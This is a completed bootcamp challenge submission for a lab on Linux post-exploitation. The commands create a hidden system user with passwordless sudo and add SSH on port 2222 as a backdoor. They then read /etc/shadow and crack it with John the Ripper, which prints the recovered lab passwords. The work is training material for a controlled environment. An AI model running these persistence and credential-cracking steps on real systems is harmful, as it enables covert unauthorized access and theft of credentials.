| Cybersecurity |
| --- |
| Module 6 Challenge Submission File |

## Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

### Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

| root:~\ $ sudo adduser —-system -–no-create-home sysd |
| --- |

1. Give your secret user a password.

| root:~\ $ sudo passwd sysd  Enter new UNIX password: password  Re-type new UNIX password: password |
| --- |

1. Give your secret user a system UID < 1000.

| root:~\ $ sudo usermod -u 99 sysd |
| --- |

1. Give your secret user the same GID.

| root:~\ $ sudo groupmod -g 99 sysd |
| --- |

1. Give your secret user full sudo access without the need for a password.

| root:~\ $ sudo visudo  # User privilege specification  sysd ALL=(ALL:ALL) NOPASSWD:ALL |
| --- |

1. Test that sudo access works without your password.

| root:~\ $ sudo -l |
| --- |

### Step 2: Smooth Sailing

1. Edit the sshd\_config file.

| root:~\ $ nano /etc/ssh/sshd\_config  # The strategy used for options in the default sshd\_config shipped with  # OpenSSH is to specify options with their default value where  # possible, but leave them commented. Uncommented options override the  # default value.  **Port 22**  **Port 2222** |
| --- |

### Step 3: Testing Your Configuration Update

1. Restart the SSH service.

| root:~\ $ sudo systemctl restart ssh |
| --- |

1. Exit the root account.exit

| root:~\ $ exit |
| --- |

1. SSH to the target machine using your sysd account and port 2222.

| sysadmin@UbuntuDesktop:~$ ssh sysd@192.168.6.105 -p 2222 |
| --- |

1. Use sudo to switch to the root user.

| sysadmin@UbuntuDesktop:~$ sudo su |
| --- |

### Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222.

| sysadmin@UbuntuDesktop:~$ ssh sysd@192.168.6.105 -p 2222 |
| --- |

1. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

| root@scavenger-hunt:/# cat /etc/shadow  root@scavenger-hunt:/# sudo john /etc/shadow  Created directory: /root/.john  Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])  Press 'q' or Ctrl-C to abort, almost any other key for status  computer (stallman)  freedom (babbage)  password (sysd)  trustno1 (mitnik)  dragon (lovelace)  lakers (turing)  passw0rd (sysadmin) |
| --- |

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.